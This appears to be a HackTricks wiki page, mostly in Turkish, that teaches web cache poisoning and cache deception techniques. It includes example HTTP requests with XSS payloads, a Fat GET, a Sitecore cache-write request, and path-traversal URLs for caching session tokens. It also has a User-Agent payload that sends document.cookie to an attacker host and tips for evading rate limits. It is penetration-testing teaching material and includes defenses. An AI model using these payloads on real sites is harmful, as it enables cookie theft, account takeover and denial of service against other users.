Cache Poisoning and Cache Deception

Reading time: 16 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Farkı

web cache poisoning ile web cache deception arasındaki fark nedir?

  • In web cache poisoning, saldırgan uygulamanın cache'e bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerik cache'den diğer uygulama kullanıcılarına sunulur.
  • In web cache deception, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri cache'e kaydetmesine neden olur ve saldırgan daha sonra bu içeriği cache'den alır.

Cache Poisoning

Cache poisoning, istemci tarafı önbelleği manipüle etmeyi hedefler; amaç, istemcilerin beklenmeyen, eksik veya saldırganın kontrolünde olan kaynakları yüklemeye zorlanmasıdır. Etkinin genişliği, etkilenen sayfanın popülerliğine bağlıdır; zira zehirlenmiş yanıt, önbellek kirlenmesi süresince sayfayı ziyaret eden kullanıcılara sunulur.

cache poisoning saldırısının yürütülmesi birkaç adımı içerir:

  1. Anahtarsız girdilerin tespiti (Identification of Unkeyed Inputs): Bunlar, bir isteğin önbelleğe alınması için gerekli olmayan ancak sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin tespit edilmesi kritiktir çünkü önbelleği manipüle etmek için kullanılabilirler.
  2. Anahtarsız girdilerin istismarı (Exploitation of the Unkeyed Inputs): Anahtarsız girdiler tespit edildikten sonra, bu parametrelerin sunucunun yanıtını saldırgan lehine nasıl değiştirebileceğini keşfetmek gerekir.
  3. Zehirlenmiş yanıtın önbelleğe alınmasını sağlama (Ensuring the Poisoned Response is Cached): Son adım, manipüle edilen yanıtın cache'de saklandığından emin olmaktır. Böylece, önbellek zehirlendiği sürece etkilenen sayfaya erişen herhangi bir kullanıcı kirlenmiş yanıtı alır.

Keşif: HTTP header'larını kontrol et

Genellikle, bir yanıt cache'e saklandığında bunu gösteren bir header bulunur; hangi header'lara dikkat etmeniz gerektiğini bu yazıda kontrol edebilirsiniz: HTTP Cache headers.

Keşif: Hata kodlarının önbelleğe alınması

Yanıtın bir cache'e saklandığını düşünüyorsanız, kötü bir header ile istek göndermeyi deneyebilirsiniz; bu, genellikle status code 400 ile yanıtlanmalıdır. Ardından isteğe normal şekilde erişmeyi deneyin ve eğer yanıt 400 status code ise, uygulamanın bu açıdan zayıf olduğunu bilirsiniz (hatta bir DoS gerçekleştirebilirsiniz).

You can find more options in:

Cache Poisoning to DoS

Ancak unutmayın ki bazen bu tür status kodları önbelleğe alınmaz, dolayısıyla bu test her zaman güvenilir olmayabilir.

Keşif: Anahtarsız girdileri tespit et ve değerlendir

Sayfanın yanıtını değiştirebilecek parametreleri ve header'ları brute-force etmek için Param Miner kullanabilirsiniz. Örneğin, bir sayfa istemciye script'i oradan yüklemesini belirtmek için X-Forwarded-For header'ını kullanıyor olabilir:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Arka uç sunucusundan zararlı bir yanıt tetikleme

Belirlenen parametre/header ile bunun nasıl sanitised edildiğini ve header'ın yanıt içinde nerede yansıtıldığını veya yanıtı nasıl etkilediğini kontrol edin. Yine de suistimal edebilir misiniz (XSS gerçekleştirmek veya kontrolünüzdeki bir JS kodu yüklemek? DoS yapmak?...)

Yanıtın önbelleğe alınmasını sağlama

İstismar edilebilecek sayfayı, hangi parametre/header'ın kullanılacağını ve nasıl suistimal edileceğini belirledikten sonra sayfanın önbelleğe alınmasını sağlamanız gerekir. Önbelleğe almaya çalıştığınız kaynağa bağlı olarak bu biraz zaman alabilir; birkaç saniye denemeniz gerekebilir.

Yanıt içindeki X-Cache header'ı çok faydalı olabilir; istek önbelleğe alınmadıysa değeri miss, önbelleğe alındıysa hit olabilir.
Cache-Control header'ı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın tekrar ne zaman önbelleğe alınacağını bilmek için ilginçtir: Cache-Control: public, max-age=1800

Bir diğer ilginç header Vary'dir. Bu header genellikle normalde anahtarlanmıyor olsalar bile ek header'ları cache anahtarının bir parçası olarak belirtmek için kullanılır. Bu nedenle hedef kullanıcının User-Agent'ını biliyorsa, bu belirli User-Agent'ı kullanan kullanıcılar için cache'i poison edebilir.

Cache ile ilgili bir diğer header ise Age'dir. Bu header, nesnenin proxy önbelleğinde kaç saniyedir bulunduğunu tanımlar.

Bir isteği önbelleğe alırken kullandığınız header'lara dikkat edin, çünkü bazıları beklenmedik şekilde keyed olarak kullanılabilir ve kurbanın aynı header'ı kullanması gerekebilir. Her zaman bir Cache Poisoning'i farklı tarayıcılarla test ederek çalışıp çalışmadığını kontrol edin.

İstismar Örnekleri

En kolay örnek

X-Forwarded-For gibi bir header, yanıt içinde temizlenmeden (unsanitized) yansıtılıyor.
Basit bir XSS payload'u gönderip cache'i poison ederek sayfaya erişen herkesin XSS'lenmesini sağlayabilirsiniz:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Unutmayın: bu /en?region=uk isteğini zehirleyecek, /en isteğini değil

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

Bu writeup'ta aşağıdaki basit senaryo açıklanıyor:

  • CDN /share/ altındaki her şeyi önbelleğe alır
  • CDN %2F..%2F'yi decode veya normalize etmez, bu yüzden path traversal olarak kullanılabilir ve https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 gibi diğer hassas yerlere erişip bunların cache'lenmesine yol açabilir
  • Web sunucusu %2F..%2F'yi decode ve normalize eder ve /api/auth/session ile yanıt verir; bu yanıt auth token içerir

Cookies ayrıca bir sayfanın yanıtında da yansıtılabilir. Örneğin bunu suistimal edip bir XSS tetikleyebilirseniz, kötü amaçlı cache yanıtını yükleyen birden fazla istemcide XSS'i istismar edebilirsiniz.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

Ayraçlar, normalizasyon ve nokta karakterleri ile tutarsızlıklar oluşturma

Check:

Cache Poisoning via URL discrepancies

Cache poisoning ile path traversal kullanarak API key çalma

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

This is also explained better in:

Cache Poisoning via URL discrepancies

Birden fazla header kullanarak web cache poisoning zafiyetlerini istismar etme

Bazen bir cache'i suistimal edebilmek için birden fazla unkeyed input'u istismar etmeniz gerekebilir. Örneğin, X-Forwarded-Host'u size ait bir domaine ve X-Forwarded-Scheme'i http olarak ayarlarsanız bir Open redirect bulabilirsiniz. Eğer sunucu tüm HTTP isteklerini HTTPS'e yönlendiriyorsa ve yönlendirme için domain adı olarak X-Forwarded-Scheme header'ını kullanıyorsa, yönlendirmenin sayfayı nereye işaret edeceğini kontrol edebilirsiniz.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Sınırlı Varyheader ile istismar

Eğer X-Host header'ının bir JS kaynağını yüklemek için domain adı olarak kullanıldığını ama cevaptaki Vary header'ının User-Agent olduğunu fark ettiyseniz, victim'in User-Agent'ini exfiltrate edip o User-Agent ile cache'i poison etmenin bir yolunu bulmanız gerekir:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URL'de ve gövdesinde aynı isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdesindekini kullanıp önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'e erişen herkes aslında gövdesindeki parametreyi kullanır. James Kettle'in Github sitesinde bulduğu vuln gibi:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Burada, Cache Poisoning attacks by abusing HTTP Request Smuggling nasıl yapılır öğrenebilirsiniz.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner otomatik olarak web cache poisoning için test yapmak amacıyla kullanılabilir. Birçok farklı tekniği destekler ve yüksek oranda özelleştirilebilir.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Bu gerçek dünya deseni, header tabanlı bir reflection primitive ile CDN/WAF davranışını zincirleyerek diğer kullanıcılara servis edilen önbelleğe alınmış HTML'in güvenilir şekilde zehirlenmesini sağlar:

  • Ana HTML, güvenilmeyen bir request header'ını (ör. User-Agent) executable context'e yansıtıyordu.
  • CDN cache header'larını çıkartıyordu fakat iç/origin cache mevcuttu. CDN ayrıca statik uzantılarla biten istekleri (ör. .js) otomatik olarak cache'liyordu ve WAF statik varlıklar için GET'lerde daha zayıf içerik denetimi uyguluyordu.
  • İstek akışı tuhaflıkları, bir .js yoluna yapılan isteğin daha sonra gelen ana HTML için kullanılan cache key/variant'ı etkilemesine izin veriyordu; bu da header reflection yoluyla kullanıcılar arası XSS'e imkan sağlıyordu.

Pratik reçete (popüler bir CDN/WAF üzerinde gözlemlenmiştir):

  1. Temiz bir IP'ten (önceki itibar temelli düşürmelere maruz kalmamış), tarayıcı veya Burp Proxy Match & Replace ile kötü amaçlı bir User-Agent ayarlayın.
  2. Burp Repeater'da, iki isteklik bir grup hazırlayın ve "Send group in parallel" kullanın (single-packet mode en iyi sonucu verir):
  • İlk istek: Aynı origin'de bir .js kaynak yoluna GET atın ve kötü amaçlı User-Agent'inizi gönderin.
  • Hemen ardından: Ana sayfaya (/) GET atın.
  1. CDN/WAF yönlendirme yarışı ve auto-cached .js, genellikle zehirlenmiş bir önbelleğe alınmış HTML varyantını tohumlar; bu varyant daha sonra aynı cache key koşullarını paylaşan (ör. Vary boyutları gibi User-Agent) diğer ziyaretçilere servis edilir.

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Birçok CDN önbellek başlıklarını gizler; poisoning yalnızca birkaç saatlik yenileme döngülerinde görünebilir. Rate-limit veya reputation tetikleyicilerinden kaçınmak için birden fazla vantage IP kullanın ve throttle uygulayın.
  • CDN'in kendi bulutundan bir IP kullanmak bazen yönlendirme tutarlılığını artırır.
  • Eğer katı bir CSP varsa, yansıtma ana HTML bağlamında çalıştırılıyorsa ve CSP inline yürütmeye izin veriyorsa veya bağlam tarafından atlatılıyorsa bu yine de çalışır.

Impact:

  • Eğer oturum çerezleri HttpOnly değilse, poisoned HTML ile sunulan tüm kullanıcılardan document.cookie'nin mass-exfiltrating edilmesi yoluyla zero-click ATO mümkün olabilir.

Defenses:

  • İstek header'larını HTML'e yansıtmayı durdurun; kaçınılmazsa bağlama göre kesin şekilde encode edin. CDN ve origin cache politikalarını hizalayın ve güvenilmeyen header'lara göre vary etmeyin.
  • WAF'ın .js istekleri ve statik yollar için içerik incelemesini tutarlı şekilde uyguladığından emin olun.
  • Oturum çerezleri için HttpOnly (ve Secure, SameSite) ayarlayın.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Bu, saldırganın seçtiği bir cache key altında keyfi HTML yazar; cache key'ler bilindiğinde hassas poisoning'e izin verir.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Zayıf Örnekler

Apache Traffic Server (CVE-2021-27577)

ATS, URL içindeki fragment'i temizlemeden iletti ve cache key'i sadece host, path ve query'yi kullanarak oluşturdu (fragment'i yok sayarak). Bu yüzden istek /#/../?r=javascript:alert(1) backend'e /#/../?r=javascript:alert(1) olarak gönderildi ve cache key içinde payload yoktu, sadece host, path ve query vardı.

GitHub CP-DoS

content-type header'ında kötü bir değer göndermek, cache'lenmiş 405 yanıtını tetikledi. Cache key cookie'yi içeriyordu, bu yüzden sadece yetkisiz kullanıcıları hedeflemek mümkün oldu.

GitLab + GCP CP-DoS

GitLab statik içeriği depolamak için GCP buckets kullanır. GCP Buckets header x-http-method-override'ı destekler. Bu yüzden x-http-method-override: HEAD header'ını gönderip cache'i boş bir response body döndürecek şekilde poison etmek mümkündü. Ayrıca PURGE metodunu da destekleyebilirdi.

Rack Middleware (Ruby on Rails)

Ruby on Rails uygulamalarında Rack middleware sıkça kullanılır. Rack kodunun amacı x-forwarded-scheme header'ının değerini alıp request'in scheme'i olarak ayarlamaktır. x-forwarded-scheme: http header'ı gönderildiğinde aynı konuma 301 redirect oluşur, bu da söz konusu kaynağa potansiyel olarak Denial of Service (DoS) yapabilir. Ayrıca uygulama X-forwarded-host header'ını dikkate alıp kullanıcıları belirtilen host'a yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarının yüklenmesine neden olarak güvenlik riski oluşturabilir.

403 and Storage Buckets

Cloudflare daha önce 403 yanıtlarını cache'liyordu. Yanlış Authorization header'ları ile S3 veya Azure Storage Blobs'a erişmeye çalışmak, cache'lenen bir 403 yanıtı ile sonuçlanıyordu. Cloudflare artık 403 yanıtlarını cache'lemeyi bıraktıysa da bu davranış diğer proxy servislerinde hâlâ mevcut olabilir.

Injecting Keyed Parameters

Cache'ler genellikle belirli GET parametrelerini cache key'e dahil eder. Örneğin, Fastly'nin Varnish'i isteklerde size parametresini cache'liyordu. Ancak parametrenin URL-encoded bir versiyonu (ör. siz%65) hatalı bir değerle de gönderildiyse, cache key doğru size parametresi kullanılarak oluşturulurdu. Buna karşın backend URL-encoded parametredeki değeri işlerdi. İkinci size parametresinin URL-encoding yapılması cache tarafından göz ardı edilmesine ama backend tarafından kullanılmasına yol açıyordu. Bu parametreye 0 değeri atamak cache'lenebilir bir 400 Bad Request hatasıyla sonuçlandı.

User Agent Rules

Bazı geliştiriciler sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların user-agent'ları ile eşleşen istekleri engeller. Tersine, bu yöntem cache poisoning ve DoS gibi zayıflıkları ortaya çıkarabilir.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230 başlık adlarındaki kabul edilebilir karakterleri belirtir. Belirtilen tchar aralığının dışındaki karakterleri içeren header'lar idealde 400 Bad Request ile sonuçlanmalıdır. Pratikte sunucular her zaman bu standarda uymuyor. Önemli bir örnek Akamai; geçersiz karakterlere sahip header'ları ileterek, cache-control header'ı olmadığı sürece herhangi bir 400 hatasını cache'liyor. Örneğin \ gibi yasadışı bir karakter içeren header göndermek cache'lenebilir bir 400 Bad Request hatası üretebiliyordu.

Yeni header'lar bulma

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Cache Deception'in amacı, istemcilerin cache tarafından kaydedilecek ve içinde hassas bilgiler bulunan kaynakları yüklemelerini sağlamaktır.

Öncelikle .css, .js, .png gibi extensions genellikle cache'de saklanacak şekilde konfigüre edilir. Bu nedenle www.example.com/profile.php/nonexistent.js adresine erişirseniz cache muhtemelen response'u saklayacaktır çünkü .js extension'ını görür. Ancak eğer application www.example.com/profile.php içinde saklı olan hassas kullanıcı içerikleri ile yanıt veriyorsa, bu içerikleri diğer kullanıcılardan çalabilirsiniz.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Unutmayın ki cache proxy dosyaları dosya extension'ına (.css) göre cacheleyecek şekilde konfigüre edilmeli, content-type'a göre değil. Örnekte http://www.example.com/home.php/non-existent.css için content-type text/html olacak, text/css mime tipi değil.

Burada nasıl yapılacağını öğrenin: Cache Deceptions attacks abusing HTTP Request Smuggling.

Otomatik Araçlar

  • toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin